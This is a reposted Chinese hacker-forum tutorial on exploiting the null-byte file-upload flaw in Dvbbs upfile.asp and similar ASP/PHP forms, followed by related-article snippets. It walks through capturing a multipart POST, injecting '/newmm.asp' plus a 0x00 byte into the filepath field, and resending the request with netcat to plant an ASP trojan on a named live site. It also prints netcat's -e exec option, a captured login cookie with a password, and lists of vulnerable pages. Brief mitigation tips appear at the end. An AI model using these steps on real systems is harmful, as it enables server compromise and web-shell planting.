收藏关于上传漏洞的文章,最近一直遇到这个麻烦,
作者:szjwwwww
出自:黑鹰基地论坛
http://www.3800cc.com
一、写在前面
***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***
NC(Netcat)
用于提交 数据包
DOS界面下运行:
NC -vv www.***.com 80<1.txt
-vv: 回显
80: www端口
1.txt: 就是你要发送的数据包
(更多使用方法请查看本区的帖子)
WSE(WSockExpert)
对本机端口的监视,抓取IE提交的数据包
(不会用的就自己到网上搜资料N多)
二、漏洞原理
下面例子假设的前提
www主机: www.***.com;
bbs路径 : /bbs/
漏洞源于对动网上传文件的研究,建议有一定编程经验的
看看Dvbbs的upfile.asp文件,没有必要全部看懂
upfile是通过生成一个form表上传,
用到的变量:
filepath 默认值uploadface 属性hiden
act 默认值upload 属性hiden
file1 就是你要传的那个文件
关键是 filepath 这个变量!
默认情况下我们的文件上传到www.***.com/bbs/uploadface/
文件是用你的上传时间命名的,就是upfile里的这一句
FileName=FormPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&FileExt
-------------------------------------------------------------------------
我们知道计算机里面的数据是一"\0"为标致的用过C语言的都知道
char data[]="bbs"
这个data数组长度是4: b b s \0
如果我们构造filepath如下,会怎么样呢?
filepath="/newmm.asp\0"
我们在2004.09.24.08.24传的文件就会发生变化
没有改时:
http://www.***.com/bbs/uploadface/200409240824.jpg
用我们构造的filepath时:
http://www.***.com/newmm.asp\0/200409240824.jpg
这样当服务器接收filepath数据时,检测到newmm.asp后面的\0
就理解为filepath的数据就结束了
这样我们上传的文件,比如c:\1.asp
就保存成: http://www.***.com/newmm.asp
三、后期补充
漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行
有很多网站只是加了N个hiden属性的变量对付网上公布的upfile.exe就是那个
上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。
而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具
自己改WSE抓到的包里的filepath变量,然后在用NC提交。。。
就算他加N个hiden变量也于事无补。
当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结
就是我们的新理论诞生的时候!
四、漏洞列表
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5369
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5530
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5531
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5693
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5731
http://dvd.3800cc.com/dispbbs.asp?BoardID=20&ID=5746
监听外部主机
NC [-options] hostname port[s] [ports] ...
监听本地主机
NC -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
详细实例:
---------------------------------------------------------------------------------
一、WSE抓包结果(存到1.txt里):
POST /bbs/upPhoto/upfile.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer: http://www.xin126.com/bbs/upPhoto/upload.asp
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d423a138d0278
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: www.xin126.com
Content-Length: 1969
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: ASPSESSIONIDACCCCDCS=NJHCPHPALBCANKOBECHKJANF; isCome=1; GAMVANCOOKIES=1; regTime=2004%2D9%2D24+3%3A39%3A37; username=szjwwwww; pass=5211314; dl=0; userID=62; ltStyle=0; loginTry=1; userPass=eb03f6c72908fd84
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
../medias/myPhoto/
-----------------------------7d423a138d0278
... ...
上传
-----------------------------7d423a138d0278--
---------------------------------------------------------------------------------
二、UltraEdit打开1.txt改数据:
......
-----------------------------7d423a138d0278
Content-Disposition: form-data; name="filepath"
/newmm.asp█ <===这个黑色代表一个空格是 0x20,改成0x00就可以了
......
三、重新计算cookies长度,然后nc提交
Nc -vv www.xin126.com 80 <1.txt
UltraEdit是一个16位编辑器网上可以下载得到
我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00H
其实你改的时候就直接再filepath的结尾
处加个00就OK了
计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了
......
Host: www.xin126.com
Content-Length: 1969 <======就是这个
Connection: Keep-Alive
Cache-Control: no-cache
......
计算会吧?一个字母、数字就是1
对于上传漏洞提出的解决思路:(仅供参考)
1、一般的上传是把上传路径作为一个变量来处理
===>我们的对策就是把filepath变成常量。。。
这个方法是目前最有效的(我认为的)
2、加强对于\0的处理,原来我们是读到这里就结束
我们继续读直道下一个变量开始的地方,处理就OK了
asp 之上传漏洞终结篇_应用技巧
时间: 2024-10-02 00:12:33
asp 之上传漏洞终结篇_应用技巧的相关文章
asp 之上传漏洞终结篇
收藏关于上传漏洞的文章,最近一直遇到这个麻烦, 作者:szjwwwww 出自:黑鹰基地论坛 http://www.3800cc.com 一.写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat) 用于提交 数据包 DOS界面下运行: NC -vv www.***.com 80<1.txt -vv: 回显 80: www端口 1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子) WSE(WS
解决ASP(图像)上传漏洞的方法_应用技巧
经常听说的ASP上传漏洞,即是将一些木马文件修改后缀名(修改为图像文件后缀),进行上传. 针对此情况使用下列函数进行辨别: 复制代码 代码如下: <% '****************************************************************** 'CheckFileType 函数用来检查文件是否为图片文件 '参数filename是本地文件的路径 '如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false '******
ASP.NET设计网络硬盘之上传文件实现代码_实用技巧
1.界面布置 这部分功能涉及到的控件主要有两个:一个是(ID)为WebFile的File Field控件,用来浏览上传文件路径:另一个是(ID)为btnUpLoad的上传按钮,单击它完成文件上传. 2.代码实现 在"设计"面板中双击btnUpLoad按钮,为其添加事件处理,其代码如下所示: 复制代码 代码如下: private void BtnUpload_Click(object sender, System.EventArgs e) { if(WebFile.PostedFile.
asp.net的cms 原理篇_实用技巧
昨晚稍微写了一点,我订制的cms系统的标签,今天我把标签所代替的代码也写出来. 我的方法很简单,就是"替换"二字. 例①HTML--绑定数据 复制代码 代码如下: <!--{an:alist filed=[title,time] category=[#] num=[10] page=[true] sort=[time desc]}--> <li><span class="fr_time">${2}</span><
实例分析ASP上传漏洞入侵实战及扩展_木马相关
[上传漏洞欺骗技术] 网络上许多程序都有着上传漏洞,比如任我飞扬整站程序.动感购物商城.秋叶商城.惠信新闻系统等.本文主要讲解上传漏洞的入侵实战以及一些扩展利用.首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据.一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下: POST /bbs/upfile.asp HTTP/1.1 --. 省略了N多没用信息 Content-Length: 1
PHP/ASP上传漏洞探究
上传|上传漏洞 1:传漏洞利用的原理只是针对form格式上传的asp和php脚本*** nc(netcat) 用于提交数据包 dos界面下运行: nc -vv www.***.com 80<1.txt -vv: 回显 80: www端口 1.txt: 就是你要发送的数据包 (更多使用方法请查看本区的帖子) wse(wsockexpert) 对本机端口的监视,抓取ie提交的数据包 2:漏洞原理 下面例子假设的前提 www主机: www.***.co
实例分析ASP上传漏洞入侵实战及扩展
[上传漏洞欺骗技术] 网络上许多程序都有着上传漏洞,比如任我飞扬整站程序.动感购物商城.秋叶商城.惠信新闻系统等.本文主要讲解上传漏洞的入侵实战以及一些扩展利用.首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据.一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下: POST /bbs/upfile.asp HTTP/1.1 --. 省略了N多没用信息 Content-Length: 1
Asp.Net实现FORM认证的一些使用技巧(必看篇)_实用技巧
最近因为项目代码重构需要重新整理用户登录和权限控制的部分,现有的代码大体是参照了.NET的FORM认证,并结合了PORTAL KITS的登录控制,代码比较啰嗦,可维护性比较差.于是有了以下的几个需求(大多数系统应该都会碰到): 1.用.NET自带的FORM认证来实现安全登录 2.登录后需要记录登录用户的基本信息,方便所有页面调用 3.记录本机登录状态,短时间关闭窗口后不用重新登录 4.权限控制和代码的文件夹结构相呼应,即按角色允许访问不同的目录 5.权限控制有可能需要细化到每一个页面,即按角色允
asp.net的cms 核心代码篇_实用技巧
第一篇,我简略描述了一下我的cms标签所表示的含义.anCMS(c#版)第一篇绑定数据 第二篇,我将展示了标签背后真正运行的代码.asp.net的cms 原理篇 好像开源有点多余,核心代码就下面这些. 复制代码 代码如下: using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Text; namespace an.helper { ///